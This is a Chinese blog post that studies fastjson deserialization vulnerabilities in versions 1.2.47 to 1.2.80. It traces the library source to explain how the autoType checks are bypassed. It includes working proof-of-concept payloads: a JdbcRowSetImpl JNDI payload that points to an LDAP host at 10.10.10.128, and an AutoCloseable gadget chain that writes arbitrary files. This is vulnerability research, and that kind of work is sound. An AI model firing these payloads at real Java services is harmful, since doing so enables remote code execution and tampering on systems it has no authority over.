f10@t's blog

fastjson反序列化漏洞学习(二)

字数统计: 3.1k阅读时长: 13 min
2023/04/30

紧跟上一篇,继续补一下fastjson的审计,复现和分析范围包括1.2.47-1.2.80。

FastJson 1.2.47

47出现了最严重的一个漏洞,之前我们可以看到,从25-43所有版本,我们都是在开启AutoType的条件下才可以进行的,配合不同的绕过手段。而47版本的漏洞无需开启AutoType即可对漏洞进行利用。据说payload的来源是官方的一个测试commit:remove unused testcase · alibaba/fastjson@be41b36 (github.com)

泄露的payload中通过指定Class,并使用val关键字指定了恶意类。在后续分析可以看到,该操作将恶意类注入到了缓存(mapping)中,从而导致了在不开启autoType的情况下可以从缓存中获取到这个恶意类。

温故

回顾一下25<= fastjson <=42版本的漏洞,我们都是通过使用特殊字符如L[绕过的。而在44版本开始,官方已经把L及双写、[开头的利用方式都过过滤掉了:

看似在开启了autoTypeSupport的情况下没有其他利用方式了,但是仍然是存在问题的。通过上面的代码可以看到,在不使用特殊字符的方式的情况下,恶意类名称肯定是会被第三个黄框里的循环判断发现的,那就没辙了。

知新

那我们如果放弃autoTypeSupport不走这个判断了呢?这样不就不会进入判断了?47版本的利用方式就是这样的。我们关注一下下面的两条语句:

若没有开启autoTypeSupport,则会从Mapping或者deserializers中寻找,如果这俩之一找到了,会在下面的if判断中直接返回,后面那个黑白名单机制也不会走了。我们分别看一下这两个分支。

TypeUtils.getClassFromMapping的静态方法会判断这个类名称是否存在于TypeUtils维护的一个concurrentHashMap中,并通过addBaseClassMapping方法配合loadClass方法向这个字典中添加常用类:

下面是简要代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private static void addBaseClassMappings(){
mappings.put("byte", byte.class);
// 省略...主要包括八大基本数据类型以及他们带上"["的样式
mappings.put("[Z", boolean[].class);
Class<?>[] classes = new Class[]{...};
for(Class clazz : classes){
if(clazz == null){
continue;
}
mappings.put(clazz.getName(), clazz);
}
String[] awt = new String[]{...};
for(String className : awt){
Class<?> clazz = loadClass(className); // 调用加载
if(clazz == null){
break;
}
mappings.put(clazz.getName(), clazz);
}
String[] spring = new String[]{...};
for(String className : spring){
Class<?> clazz = loadClass(className); // 调用添加
if(clazz == null){
break;
}
mappings.put(clazz.getName(), clazz);
}
}

看起来都是在添加一些固定的类,我们没有可以插手的地方。那可以利用的就是loadClass函数了,这里先埋下伏笔,我们看看另一个if分支。另一个分支的函数的findClass函数如下:

该函数会从buckets中寻找该类的父类,如果可以找到的话则向上转型并返回。这个bucket是一个fastjson.utils.IdentityHashMap类型数据,提供了put方法向其中添加类。能够向这个Map中写入数据的方法包括:

但是这些函数的参数、添加的内容我们是无法控制的。因此我们就只能想办法利用第一个if分支中的getClassFromMapping了。

重新回到我提到的伏笔--loadClass方法,看看内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if(className == null || className.length() == 0){
return null;
}
// 先从mappings中判断是否存在
Class<?> clazz = mappings.get(className);
if(clazz != null){
return clazz;
}
// 判断特殊情况,[和L的办法我们已经不能利用了
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
// 注意这里,若不属于上面两个分支的特殊情况的话,就会直接使用classLoader加载
// 而这里,是没有做黑名单之类的判断的,而是会直接放到mappings中
try{
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
try{
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}

这里可以看到,我们是有机可图的,即,若一个类:

  • 不是L开头;结尾的名字、不是[开头的名字
  • 不是预先加载的常用类

那么,就会被加载并放入mapping中。That's all we got。

这个方法在类中有三个重载:

其中:

  • LoadClass(x):均用于加载一些固定名称的类,没法子利用到。

  • LoadClass(x, y):除了TypeUtils中的自调用以及加载L[外,MiscCodec中有一个deserialze方法存在调用,且那个strVal看起来是可以控制的,稍后我们细看一下。

  • LoadClass(x, y, z):调用都在checkAutoType中,没法利用

ok,那我们就聚焦于fastjson.serializer.MiscCodec类的deserialize方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
@SuppressWarnings("unchecked")
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;
// 省略无关代码

Object objVal;

// 若parser的resolveStatus符合判断的话,则调用DefaultJSONParser.parse方法获取对象
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
// 省略部分代码

objVal = parser.parse();

parser.accept(JSONToken.RBRACE);
} else {
objVal = parser.parse();
}

String strVal;

if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
} else {
if (objVal instanceof JSONObject) {
JSONObject jsonObject = (JSONObject) objVal;

if (clazz == Currency.class) {
String currency = jsonObject.getString("currency");
if (currency != null) {
return (T) Currency.getInstance(currency);
}

String symbol = jsonObject.getString("currencyCode");
if (symbol != null) {
return (T) Currency.getInstance(symbol);
}
}

if (clazz == Map.Entry.class) {
return (T) jsonObject.entrySet().iterator().next();
}

return jsonObject.toJavaObject(clazz);
}
throw new JSONException("expect string");
}

if (strVal == null || strVal.length() == 0) {
return null;
}

// 省略无关判断代码

// 关注点:若这个类是Class类型的,则使用loadClass加载
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

// 省略无关判断代码
}

那么思路就有了,我们需要加载一个Class类型的类,并通过strVal来进行控制。先实验一个简单的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
import com.alibaba.fastjson.JSONObject;

/**
* @author lzwgiter
* @date 2023/4/26 2023
*/
public class Demo {
public static void main(String[] args) {
// 注意,第二个字段必须是val
String poc = "{\"@type\":\"java.lang.Class\", \"val\": \"aha\"}";
JSONObject pocObj = JSONObject.parseObject(poc);
}
}

因为没有开启autoTypeSupport,也不是黑名单类,因此我们就来到了下面的两个分支:

紧接着,我们在findClass方法中,找到了类,这是很自然的,然后在下面的分支中返回class。

紧接着,结束了checkAutoType函数,并将当前parser的状态设置为了TypeNameRedirect这就满足了前面MiscCodec代码中的判断条件了。

最后反序列化的工作交给了MiscCodec,那么就会进入我们前面的代码片段了:

可以看到,strVal的值被赋予了我们val字段的值。

由于是Class类型的,因此调用loadClass方法:

并完成加载和污染mapping的过程。污染了之后呢?

我们就可以从第一个分支中、从mapping中获取这个类了。

至此就是整个攻击原理和思路了,小结一下,我们的思路是分两个阶段的,是承上启下的关系。

  1. 关闭autoTypeSupport以逃过黑名单,并通过Class的类型注入恶意类到mapping中。
  2. 二次从mapping中读取以加载恶意类。

因此Poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import com.alibaba.fastjson.JSONObject;

/**
* @author lzwgiter
* @date 2023/4/26
*/
public class Demo {
public static void main(String[] args) {
/*
{
injection: {
@type: java.lang.Class,
val: com.sun.rowset.JdbcRowSetImpl
},
utilization: {
@type: com.sun.rowset.JdbcRowSetImpl,
dataSourceName: "ldap://10.10.10.128:1389/POC",
autoCommit: true
}
}
*/
String poc = "{\"injection\": {\"@type\": \"java.lang.Class\", \"val\": \"com.sun.rowset.JdbcRowSetImpl\"}, \"utilization\": {\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://10.10.10.128:1389/Exploit\", \"autoCommit\": true}}";
JSONObject pocObj = JSONObject.parseObject(poc);
System.out.println(pocObj);
}
}

FastJson 1.2.68

安全说明:security_update_20200601 · alibaba/fastjson Wiki (github.com)

温故

先尝试一下47的payload:

看一下修改的地方:

嗯?这不是后面那个黑白名单吗?怎么会走到这里来?不应该第二次拿到第一次注入后的就直接返回了吗?跟进看一下第一次的恶意类是否真的投放进去了:

行吧,那可控吗?

知新

官方说明中提到新增加了safeMode:

这个功能默认false是关闭的,如果你开启了,那就会完全禁用autoType从而完全避免开启了autoType的类型的攻击。当然也要考虑业务需求。

然而,该版本仍然存在绕过autoType的漏洞。我们重新回到47版本中的if分支地方:

上面的分支我们已经没有办法利用了,在黑白名单判断之前,还有一个分支也就是红框圈出的地方。这个expectClass是什么来头?

可以看到是checkAutoType传入的,而默认的传入是null:

而在红框判断中,若expectClass为空,则直接返回clazz供反序列化;若expectClass非空则若:

  • 不是HashMap类型
  • 属于待反序列化的类的子类(isAssignableFrom方法用于判断参数是否是当前对象的子类)

就会直接返回clazz供反序列化。那我们大致思路有了,其实和47版本的两阶段是类似的:

  1. 首先反序列化一个类,此时expectClass为空,并正常返回clazz供反序列化。
  2. 反序列化第二个类时,令这个类是我们传入的第一个类的子类,从而绕过这个抛出异常语句而直接返回。

有没有什么办法在第一次checkAutoType后,再次进入checkAutoType并传入expectClass以返回恶意类呢?答案是使用java.lang.AutoCloseable接口类。我们先用如下输入测试一下流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
import com.alibaba.fastjson.JSONObject;

/**
* @author lzwgiter
* @date 2023/4/26
*/
public class Demo {
public static void main(String[] args) {
String poc = "{\"@type\": \"java.lang.AutoCloseable\", \"@type\": \"java.io.FileOutputStream\"}";
JSONObject pocObj = JSONObject.parseObject(poc);
}
}

可以看到Mapping中是有这个类的,并正常返回:

准备反序列化,这里会使用paser.deserializer.JavaBeanDeserializer来做反序列化工作:

进入后,来到如下代码片段:

注意,此时已经开始要解析第二个类了。构造上我们选取了FileOutputStream,他实现了AutoCloseable接口,红框中可以看到,expectClass此时为我们传入的第一个接口类,然后准备进入checkAutoType函数。

进入之后,由于不存在于黑名单、也不是mapping中的,因此略过前面判断以及黑白名单扫描,到达上图代码位置。由于expectClass非空、且clazz(此处为FileOutputStream)为expectClass的子类,因此会将这个类添加到mapping中并返回。

至此,我们其实是实现了47版本漏洞中第一阶段的效果:污染mapping。后面再跟一个待反序列化的恶意类从而构成gadget就可以利用了。

但是,有一个条件,这样的利用方式就要求恶意类必须实现了AutoCloseable接口。最典型的、直观能想到的,那肯定就是文件类了,但是FileOutputStream的构造器指向的是文件,不能添加一些其他可控的参数,比如写入什么内容。因此网上可以看到一些人的文章都会使用FileOutputStream的子类或类似的其他类,这一部分的话通常可以实现比如任意文件写入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
'@type': "java.lang.AutoCloseable",
'@type': 'sun.rmi.server.MarshalOutputStream',
'out': {
'@type': 'java.util.zip.InflaterOutputStream',
'out': {
'@type': 'java.io.FileOutputStream',
'file': 'dst',
'append': false
},
'infl': {
'input': {
'array': 'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',
'limit': 22
}
},
'bufLen': 1048576
},
'protocolVersion': 1
}

FastJson 1.2.80

这应该是FastJson 1.2.x最新的漏洞信息了,提示用户应该尽快升级到最新的1.2.83版本。

安全说明:security_update_20220523 · alibaba/fastjson Wiki (github.com)

参考

https://su18.org/post/fastjson

Fastjson 反序列化RCE分析 - Y4er的博客

CATALOG
  1. 1. FastJson 1.2.47
    1. 1.1. 温故
    2. 1.2. 知新
  2. 2. FastJson 1.2.68
    1. 2.1. 温故
    2. 2.2. 知新
  3. 3. FastJson 1.2.80
  4. 4. 参考